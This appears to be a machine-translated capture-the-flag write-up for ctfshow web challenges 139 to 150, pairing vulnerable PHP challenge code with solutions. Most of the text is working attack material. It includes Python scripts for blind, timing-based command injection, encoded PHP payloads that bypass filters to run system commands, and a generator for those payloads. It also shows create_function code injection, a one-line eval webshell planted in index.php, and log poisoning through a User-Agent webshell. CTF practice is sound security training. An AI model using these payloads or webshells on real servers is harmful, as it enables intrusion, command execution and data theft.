this is flag.php
your flag is:
flag{test_a_flag}

Using awk

Then use the cut command to cut

Judge by if and sleep, so you can write a script.

First check the root directory and the name of the file, for example:

Then I waited here a little longer

import requests
url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show'
res = ''
for i in range(1,10):
    for j in range(1,20):
        for k in range(32,128):
            k = chr(k)
            payload = "?c="+f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload,timeout=(1.5,1.5))
            except:
                res += k
                print(res)
                break
    res += '  '

Take this opportunity to write the exp of reading flag, and then find that you only need to change ls / to cat / file name. Forget it, wait slowly

Then because of the network speed problem in my campus, there will be fewer characters in 2 seconds..........

It should be the same as 136, f149_15_h3r3, but the campus network card is outrageous. It's 1.5 times out. I'm laughing to death. I'm still learning a hair

import requests
url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show'
res = ''
for j in range(1,60):
    for k in range(32,128):
        k = chr(k)
        payload = "?c="+f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi"
        try:
            requests.get(url=url+payload,timeout=(1.5,1.5))
        except:
            res += k
            print(res)
            break
res += ' '

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
} 

f1 and f2 are [a-z0-9], intval gets the integer value of the variable

Weak comparison table

Note that the integer 0 returns 0 when compared with the "php" string, so construct 0

f1=sha1&f2=sha1

web141

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

The regular content is

Use alphanumeric webshell here. You can fill in v1 and v2 casually

dotast:then v1 and v2 Just fill it in at will, v3 Constructed by filling payload Yes, but note that there is a return Interference, so we have to v3 of payload The command can be executed by adding some characters to the front and back, such as\+ - * wait
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

See flag PHP, and then construct flag PHP. Here you can see the blog: https://blog.csdn.net/miuzzx/article/details/109143413 (Master Yu blog)

?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
} 

Just wait for 5.1879761014816e+14 seconds

?v1=0

Then view the source code

web143

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web141 plus

If you don't allow it to be taken, you have to pay attention to filtering semicolons. You still use the method of 141, but the special characters filtered here should also be written into the script

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

flag.php index.php

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*

Script (dotast):

# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# Generate available characters
def write_rce():
    result = ''
    preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i ^ j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('xor_rce.txt', 'w')
    f.write(result)


# Match in the generated txt according to the entered command
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function: ")
        if s1 == "exit":
            break
        s2 = input("[+] your command: ")
        param = action(s1) + action(s2)
        print("\n[*] result:\n" + param)

main()

web144

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

web143 plus === web141 proplus

This time I changed to v2 and used web141's payload

?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web144 plus === web143 proplus === web141 proplusmax

Filter more, and you can't use ^, but it can be reversed

But *; +- It's all lost by ban. It was said that there should be these before and after v3

After fuzz y, I found that | can also be used https://blog.csdn.net/miuzzx/article/details/109143413

<?php
//Run from the command line

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

Final payload

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

ProMaxpluspro

Still no filtering ~, continue to use the payload of the previous question

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

RCE

Watch hint here

The default namespace in php is \, and all native functions and classes are in this namespace. Normally call a function. If you write the function name function directly_ Name() is called, which is actually equivalent to writing a relative path; And if you write \ function_ When name() calls the function in this way, it actually writes an absolute path. If you call system classes in other namespaces, you must write absolute paths

Use create here_ Function() for code injection

string create_function ( string $args , string $code )

string $args Variable part

Code part of string $code method

#give an example
create_function('$funcname','echo $funcname."Mumuzi"')
#Equivalent to the following function
function f($funcname) {
    echo $funcname."Mumuzi";
}
/*
#If the second parameter (code) is like this:
echo 1;}phpinfo();/*
#Then it is expressed by function as follows:
*/
function f($funcname){
    echo 1;
}
phpinfo();/*}
#That is, after echo 1 is executed, execute phpinfo(), and then comment out the following statements with / *

Therefore, payload is constructed

GET:?show=echo mumuzi;}system("tac f*");/*

POST:ctf=\create_function

web148

#What are variables?
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

XOR. The script uses the previous (web141plus) and can be changed to preg

web149

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
} 

Not index PHP will be deleted

Then write a sentence into the index PHP will do

GET:?ctf=index.php

POST:show=<?php @eval($_GET[1]);?>

Then visit index PHP, GET 1=system('tac /ctfshow_fl0g_here.txt ');

web150

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#Filter character
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}


The log contains a sentence written by UA. QUERY_STRING and extract make isvip 1 (web127)

import requests
url = "http://888cbe1b-d96b-4304-9502-4ba090d23aee.challenge.ctf.show/" + "?isVIP=1"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0<?php @eval($_POST[1]);?>'
}
data = {
    'ctf': '/var/log/nginx/access.log',
    '1':'system("tac f*");'
}
r = requests.post(url=url, headers=headers, data=data).text
print(r)

web150_plus

The title says that the unexpected is fixed, and then it can be clearly seen that there can be no log in the ctf. It just fixes the log inclusion

This is associated with competition (included in the session file), but now ctfshow has set restrictions, so it is difficult to compete successfully.

Take a look at hint

This question is a little pit__ The autoload() function is not in the class__ Autoload - attempt to load an undefined class and finally construct CTFSHOW..=phpinfo can see the phpinfo information. The reason is CTFSHOW.. Analytical variable into__ CTFSHOW__ Then the variable is overridden, because ctfshow is a class__ Autoload () function and method to load, because if it is equal to phpinfo, it will load phpinfo, and then go to getshell

Here__ autoload() can see https://www.php.cn/php-weizijiaocheng-426838.html

Then... CTFSHOW... Takes advantage of php's features, that is, spaces, [,., + are automatically converted to_

So payload

?..CTFSHOW..=phpinfo

Then search ctfshow{because the environment is written

Topics: PHP CTF Information Security ctfshow